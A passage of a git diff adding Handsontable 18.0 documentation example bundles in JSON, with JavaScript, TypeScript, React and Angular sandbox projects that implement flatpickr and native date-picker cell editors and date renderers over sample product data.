setValue(editor, value) {\n editor.input.value = value;\n editor.flatpickr.setDate(value ? new Date(value) : new Date());\n },\n }),\n};\n\n// Define configuration options for the Handsontable\nconst hotOptions = {\n data,\n colHeaders: ['Product', 'Version', 'Release (EU)', 'Release (US)', 'Status'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'product', type: 'text', width: 200 },\n { data: 'version', type: 'text', width: 80 },\n {\n data: 'releaseDate',\n width: 130,\n allowInvalid: false,\n ...cellDefinition,\n renderFormat: DATE_FORMAT_EU,\n flatpickrSettings: {\n locale: {\n firstDayOfWeek: 1,\n },\n },\n },\n {\n data: 'releaseDate',\n width: 130,\n allowInvalid: false,\n ...cellDefinition,\n renderFormat: DATE_FORMAT_US,\n flatpickrSettings: {\n locale: {\n firstDayOfWeek: 0,\n },\n },\n },\n { data: 'status', type: 'text', width: 130 },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".flatpickr-editor {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n box-shadow: inset 0 0 0 var(--ht-cell-editor-border-width, 2px)\n var(--ht-cell-editor-border-color, #1a42e8),\n 0 0 var(--ht-cell-editor-shadow-blur-radius, 0) 0\n var(--ht-cell-editor-shadow-color, transparent) !important;\n background-color: var(--ht-cell-editor-background-color, #ffffff) !important;\n padding: var(--ht-cell-vertical-padding, 4px)\n var(--ht-cell-horizontal-padding, 8px) !important;\n border: none !important;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n.flatpickr-editor:focus-visible {\n border: none !important;\n}\n\n.flatpickr-editor.active {\n box-shadow: none;\n background-color: transparent;\n border-radius: 0 !important;\n border-radius: none;\n}"},"docsPath":"recipes/cell-types/flatpickr/javascript/example1.js","breadcrumb":["Recipes","Cell Types","Flatpickr"],"guide":"recipes/cell-types/flatpickr/flatpickr.md","guideTitle":"Flatpickr","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/flatpickr","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__javascript__example1.ts.json new file mode 100644 index 00000000..ce89ac1b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Cell Types ▸ Flatpickr · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"date-fns\": \"4.4.0\",\n \"flatpickr\": \"4.6.13\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { format, isDate } from 'date-fns';\nimport flatpickr from 'flatpickr';\nimport 'flatpickr/dist/flatpickr.css';\nimport { CellProperties } from 'handsontable/settings';\nimport { editorFactory } from 'handsontable/editors';\nimport { rendererFactory } from 'handsontable/renderers';\n\nregisterAllModules();\nconst DATE_FORMAT_US = 'MM/dd/yyyy';\nconst DATE_FORMAT_EU = 'dd/MM/yyyy';\n\n/* start:skip-in-preview */\nconst data = [\n {\n product: 'Dashboard Pro',\n category: 'Analytics',\n version: '3.2.0',\n releaseDate: '2025-03-15',\n status: 'Released',\n downloads: 12450,\n },\n {\n product: 'Form Builder',\n category: 'Tools',\n version: '2.1.0',\n releaseDate: '2025-04-22',\n status: 'Released',\n downloads: 8320,\n },\n {\n product: 'Chart Engine',\n category: 'Analytics',\n version: '4.0.0',\n releaseDate: '2025-06-10',\n status: 'Beta',\n downloads: 3100,\n },\n {\n product: 'Auth Module',\n category: 'Security',\n version: '1.5.2',\n releaseDate: '2025-07-01',\n status: 'Released',\n downloads: 15600,\n },\n {\n product: 'File Manager',\n category: 'Storage',\n version: '2.0.0',\n releaseDate: '2025-08-18',\n status: 'Planned',\n downloads: 0,\n },\n {\n product: 'Email Service',\n category: 'Communication',\n version: '3.1.0',\n releaseDate: '2025-09-05',\n status: 'Released',\n downloads: 9870,\n },\n {\n product: 'Search Index',\n category: 'Tools',\n version: '1.2.0',\n releaseDate: '2025-10-12',\n status: 'Beta',\n downloads: 2450,\n },\n {\n product: 'Cache Layer',\n category: 'Infra',\n version: '2.3.1',\n releaseDate: '2025-11-28',\n status: 'Planned',\n downloads: 0,\n },\n];\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1')!;\n\ninterface FlatpickrEditorInstance {\n input: HTMLInputElement;\n flatpickr: flatpickr.Instance;\n preventCloseElement: HTMLElement;\n _darkThemeLink: HTMLLinkElement;\n}\n\nconst cellDefinition: Pick<\n CellProperties,\n 'renderer' | 'validator' | 'editor'\n> = {\n validator: (value, callback) => {\n callback(isDate(new Date(value)));\n },\n renderer: rendererFactory(({ td, value, cellProperties }) => {\n td.innerText = value ? format(new Date(value), cellProperties.renderFormat) : '';\n }),\n editor: editorFactory({\n init(editor) {\n editor.input = editor.hot.rootDocument.createElement('INPUT') as HTMLInputElement;\n editor.input.classList.add('flatpickr-editor');\n\n editor.flatpickr = flatpickr(editor.input, {\n dateFormat: 'Y-m-d',\n disableMobile: true,\n onClose: () => {\n editor.finishEditing();\n },\n });\n\n editor.preventCloseElement = editor.flatpickr.calendarContainer;\n\n /**\n * Prepare dark theme stylesheet for dynamic loading.\n */\n editor._darkThemeLink = editor.hot.rootDocument.createElement('LINK') as HTMLLinkElement;\n editor._darkThemeLink.rel = 'stylesheet';\n editor._darkThemeLink.href = 'https://cdn.jsdelivr.net/npm/flatpickr/dist/themes/dark.css';\n },\n afterClose(editor) {\n editor.flatpickr.close();\n },\n afterOpen(editor) {\n const isDark = editor.hot.rootDocument.documentElement.getAttribute('data-theme') === 'dark';\n\n const head = editor.hot.rootDocument.head;\n\n if (isDark && !editor._darkThemeLink.parentNode) {\n head.appendChild(editor._darkThemeLink);\n } else if (!isDark && editor._darkThemeLink.parentNode) {\n head.removeChild(editor._darkThemeLink);\n }\n\n editor.flatpickr.open();\n },\n beforeOpen(editor, { cellProperties }) {\n for (const key in cellProperties.flatpickrSettings) {\n editor.flatpickr.set(key as keyof flatpickr.Options.Options, cellProperties.flatpickrSettings[key]);\n }\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n editor.flatpickr.setDate(value ? new Date(value) : new Date());\n },\n }),\n};\n\n// Define configuration options for the Handsontable\nconst hotOptions: Handsontable.GridSettings = {\n data,\n colHeaders: ['Product', 'Version', 'Release (EU)', 'Release (US)', 'Status'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'product', type: 'text', width: 200 },\n { data: 'version', type: 'text', width: 80 },\n {\n data: 'releaseDate',\n width: 130,\n allowInvalid: false,\n ...cellDefinition,\n renderFormat: DATE_FORMAT_EU,\n flatpickrSettings: {\n locale: {\n firstDayOfWeek: 1,\n },\n },\n },\n {\n data: 'releaseDate',\n width: 130,\n allowInvalid: false,\n ...cellDefinition,\n renderFormat: DATE_FORMAT_US,\n flatpickrSettings: {\n locale: {\n firstDayOfWeek: 0,\n },\n },\n },\n { data: 'status', type: 'text', width: 130 },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".flatpickr-editor {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n box-shadow: inset 0 0 0 var(--ht-cell-editor-border-width, 2px)\n var(--ht-cell-editor-border-color, #1a42e8),\n 0 0 var(--ht-cell-editor-shadow-blur-radius, 0) 0\n var(--ht-cell-editor-shadow-color, transparent) !important;\n background-color: var(--ht-cell-editor-background-color, #ffffff) !important;\n padding: var(--ht-cell-vertical-padding, 4px)\n var(--ht-cell-horizontal-padding, 8px) !important;\n border: none !important;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n.flatpickr-editor:focus-visible {\n border: none !important;\n}\n\n.flatpickr-editor.active {\n box-shadow: none;\n background-color: transparent;\n border-radius: 0 !important;\n border-radius: none;\n}"},"docsPath":"recipes/cell-types/flatpickr/javascript/example1.ts","breadcrumb":["Recipes","Cell Types","Flatpickr"],"guide":"recipes/cell-types/flatpickr/flatpickr.md","guideTitle":"Flatpickr","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/flatpickr","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__react__example1.tsx.json new file mode 100644 index 00000000..6bdec4a1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Cell Types ▸ Flatpickr · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"date-fns\": \"4.4.0\",\n \"flatpickr\": \"4.6.13\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { format, isDate } from 'date-fns';\nimport flatpickr from 'flatpickr';\nimport 'flatpickr/dist/flatpickr.css';\nimport { CellProperties } from 'handsontable/settings';\nimport { editorFactory } from 'handsontable/editors';\nimport { rendererFactory } from 'handsontable/renderers';\nimport './example1.css';\n\nregisterAllModules();\n\nconst DATE_FORMAT_US = 'MM/dd/yyyy';\nconst DATE_FORMAT_EU = 'dd/MM/yyyy';\n\n/* start:skip-in-preview */\nconst data = [\n {\n product: 'Dashboard Pro',\n category: 'Analytics',\n version: '3.2.0',\n releaseDate: '2025-03-15',\n status: 'Released',\n downloads: 12450,\n },\n {\n product: 'Form Builder',\n category: 'Tools',\n version: '2.1.0',\n releaseDate: '2025-04-22',\n status: 'Released',\n downloads: 8320,\n },\n {\n product: 'Chart Engine',\n category: 'Analytics',\n version: '4.0.0',\n releaseDate: '2025-06-10',\n status: 'Beta',\n downloads: 3100,\n },\n {\n product: 'Auth Module',\n category: 'Security',\n version: '1.5.2',\n releaseDate: '2025-07-01',\n status: 'Released',\n downloads: 15600,\n },\n {\n product: 'File Manager',\n category: 'Storage',\n version: '2.0.0',\n releaseDate: '2025-08-18',\n status: 'Planned',\n downloads: 0,\n },\n {\n product: 'Email Service',\n category: 'Communication',\n version: '3.1.0',\n releaseDate: '2025-09-05',\n status: 'Released',\n downloads: 9870,\n },\n {\n product: 'Search Index',\n category: 'Tools',\n version: '1.2.0',\n releaseDate: '2025-10-12',\n status: 'Beta',\n downloads: 2450,\n },\n {\n product: 'Cache Layer',\n category: 'Infra',\n version: '2.3.1',\n releaseDate: '2025-11-28',\n status: 'Planned',\n downloads: 0,\n },\n];\n/* end:skip-in-preview */\n\ninterface FlatpickrEditorInstance {\n input: HTMLInputElement;\n flatpickr: flatpickr.Instance;\n preventCloseElement: HTMLElement;\n _darkThemeLink: HTMLLinkElement;\n}\n\nconst flatpickrValidator = (value: string, callback: (valid: boolean) => void) => {\n callback(isDate(new Date(value)));\n};\n\nconst flatpickrRenderer = rendererFactory(({ td, value, cellProperties }) => {\n td.innerText = value ? format(new Date(value), cellProperties.renderFormat) : '';\n});\n\nconst flatpickrEditor = editorFactory({\n init(editor) {\n editor.input = editor.hot.rootDocument.createElement('INPUT') as HTMLInputElement;\n editor.input.classList.add('flatpickr-editor');\n\n editor.flatpickr = flatpickr(editor.input, {\n dateFormat: 'Y-m-d',\n disableMobile: true,\n onClose: () => {\n editor.finishEditing();\n },\n });\n\n editor.preventCloseElement = editor.flatpickr.calendarContainer;\n\n editor._darkThemeLink = editor.hot.rootDocument.createElement('LINK') as HTMLLinkElement;\n editor._darkThemeLink.rel = 'stylesheet';\n editor._darkThemeLink.href = 'https://cdn.jsdelivr.net/npm/flatpickr/dist/themes/dark.css';\n },\n afterClose(editor) {\n editor.flatpickr.close();\n },\n afterOpen(editor) {\n const isDark = editor.hot.rootDocument.documentElement.getAttribute('data-theme') === 'dark';\n const head = editor.hot.rootDocument.head;\n\n if (isDark && !editor._darkThemeLink.parentNode) {\n head.appendChild(editor._darkThemeLink);\n } else if (!isDark && editor._darkThemeLink.parentNode) {\n head.removeChild(editor._darkThemeLink);\n }\n\n editor.flatpickr.open();\n },\n beforeOpen(editor, { cellProperties }) {\n for (const key in cellProperties.flatpickrSettings) {\n editor.flatpickr.set(key as keyof flatpickr.Options.Options, cellProperties.flatpickrSettings[key]);\n }\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n editor.flatpickr.setDate(value ? new Date(value) : new Date());\n },\n});\n\nconst ExampleComponent = () => {\n return (\n \n \n \n \n \n \n \n );\n};\n\nexport default ExampleComponent;","/src/example1.css":".flatpickr-editor {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n box-shadow: inset 0 0 0 var(--ht-cell-editor-border-width, 2px)\n var(--ht-cell-editor-border-color, #1a42e8),\n 0 0 var(--ht-cell-editor-shadow-blur-radius, 0) 0\n var(--ht-cell-editor-shadow-color, transparent) !important;\n background-color: var(--ht-cell-editor-background-color, #ffffff) !important;\n padding: var(--ht-cell-vertical-padding, 4px)\n var(--ht-cell-horizontal-padding, 8px) !important;\n border: none !important;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n.flatpickr-editor:focus-visible {\n border: none !important;\n}\n\n.flatpickr-editor.active {\n box-shadow: none;\n background-color: transparent;\n border-radius: 0 !important;\n border-radius: none;\n}"},"docsPath":"recipes/cell-types/flatpickr/react/example1.tsx","breadcrumb":["Recipes","Cell Types","Flatpickr"],"guide":"recipes/cell-types/flatpickr/flatpickr.md","guideTitle":"Flatpickr","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/flatpickr","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__guide-color-picker-angular__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__guide-color-picker-angular__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__guide-color-picker-angular__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__guide-color-picker-angular__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__guide-datepicker-angular__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__guide-datepicker-angular__angular__example1.ts.json new file mode 100644 index 00000000..1e8b27ee --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__guide-datepicker-angular__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Cell Types ▸ Date picker · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"date-fns\": \"4.4.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ChangeDetectorRef, ChangeDetectionStrategy, inject, ViewChild, ElementRef } from '@angular/core';\nimport {\n GridSettings,\n HotCellEditorAdvancedComponent,\n HotCellRendererAdvancedComponent,\n HotTableModule,\n} from '@handsontable/angular-wrapper';\nimport { FormsModule } from '@angular/forms';\nimport { format, parse, isValid } from 'date-fns';\n\nexport const inputData = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n restockDate: '2025-08-01',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n restockDate: '2025-09-15',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n restockDate: '2025-10-05',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n restockDate: '2025-11-10',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n restockDate: '2025-12-20',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n restockDate: '2026-01-25',\n },\n {\n id: 954632,\n itemName: 'Oxygen Unit',\n restockDate: '2026-03-02',\n },\n];\n\n@Component({\n selector: 'example1-date-editor',\n changeDetection: ChangeDetectionStrategy.OnPush,\n template: `\n \n `,\n standalone: true,\n imports: [FormsModule],\n})\nexport class DateEditorComponent extends HotCellEditorAdvancedComponent {\n dateValue: string = '';\n\n @ViewChild('editorInput', { static: true })\n protected editorInput!: ElementRef;\n\n private readonly cdr = inject(ChangeDetectorRef);\n\n override afterOpen(): void {\n setTimeout(() => {\n this.editorInput.nativeElement.showPicker?.();\n }, 0);\n }\n\n override beforeOpen(_: any, { originalValue }: any) {\n if (originalValue) {\n try {\n let parsedDate: Date;\n\n // Try to parse MM/DD/YYYY format\n if (typeof originalValue === 'string' && originalValue.includes('/')) {\n parsedDate = parse(originalValue, 'MM/dd/yyyy', new Date());\n }\n // Try to parse YYYY-MM-DD format\n else if (typeof originalValue === 'string' && originalValue.includes('-')) {\n parsedDate = parse(originalValue, 'yyyy-MM-dd', new Date());\n }\n // Fallback to generic date parsing\n else {\n parsedDate = new Date(originalValue);\n }\n\n if (isValid(parsedDate)) {\n // Format as YYYY-MM-DD for native input type='date'\n this.dateValue = format(parsedDate, 'yyyy-MM-dd');\n } else {\n this.dateValue = '';\n }\n } catch (error) {\n console.error('Error parsing date:', error);\n this.dateValue = '';\n }\n } else {\n this.dateValue = '';\n }\n\n this.cdr.detectChanges();\n }\n\n override afterClose(): void {\n this.finishEdit.emit();\n }\n\n onDateChange(): void {\n if (this.dateValue) {\n try {\n // Parse YYYY-MM-DD from input\n const parsedDate = parse(this.dateValue, 'yyyy-MM-dd', new Date());\n\n if (isValid(parsedDate)) {\n // Format as MM/DD/YYYY for Handsontable\n const formattedDate = format(parsedDate, 'MM/dd/yyyy');\n this.setValue(formattedDate);\n }\n } catch (error) {\n console.error('Error formatting date:', error);\n }\n }\n }\n\n override onFocus(): void {\n this.editorInput.nativeElement.focus();\n }\n}\n\n@Component({\n selector: 'example1-date-renderer',\n changeDetection: ChangeDetectionStrategy.OnPush,\n template: `
    \n {{ formattedDate }}\n
    `,\n standalone: true,\n imports: [],\n})\nexport class DateRendererComponent extends HotCellRendererAdvancedComponent {\n get formattedDate(): string {\n return format(new Date(this.value), this.getProps().renderFormat);\n }\n}\n\nconst DATE_FORMAT_US = 'MM/dd/yyyy';\nconst DATE_FORMAT_EU = 'dd/MM/yyyy';\n\n@Component({\n selector: 'example1-guide-datepicker-angular',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n readonly data = inputData.map((el) => ({\n ...el,\n stars: Math.floor(Math.random() * 5) + 1,\n }));\n\n readonly gridSettings: GridSettings = {\n autoRowSize: true,\n rowHeaders: true,\n autoWrapRow: true,\n height: 'auto',\n manualColumnResize: true,\n manualRowResize: true,\n colHeaders: ['ID', 'Item Name', 'Restock Date EU', 'Restock Date US'],\n columns: [\n { data: 'id', type: 'numeric' },\n {\n data: 'itemName',\n type: 'text',\n },\n {\n data: 'restockDate',\n width: 150,\n allowInvalid: false,\n rendererProps: {\n renderFormat: DATE_FORMAT_EU,\n },\n editor: DateEditorComponent,\n renderer: DateRendererComponent,\n },\n {\n data: 'restockDate',\n width: 150,\n allowInvalid: false,\n rendererProps: {\n renderFormat: DATE_FORMAT_US,\n },\n editor: DateEditorComponent,\n renderer: DateRendererComponent,\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: {\n license: NON_COMMERCIAL_LICENSE,\n } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"recipes/cell-types/guide-datepicker-angular/angular/example1.ts","breadcrumb":["Recipes","Cell Types","Date picker"],"guide":"recipes/cell-types/guide-datepicker-angular/guide-datepicker.md","guideTitle":"Date picker","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/datepicker","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__guide-feedback-angular__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__guide-feedback-angular__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__guide-feedback-angular__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__guide-feedback-angular__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__guide-rating-angular__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__guide-rating-angular__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__guide-rating-angular__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__guide-rating-angular__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__angular__example1.ts.json new file mode 100644 index 00000000..ae3a220e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Cell Types ▸ Moment.js-based date · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"moment\": \"2.30.1\",\n \"@handsontable/pikaday\": \"1.0.0\"\n },\n \"devDependencies\": {\n \"@types/moment\": \"2.13.0\"\n }\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": 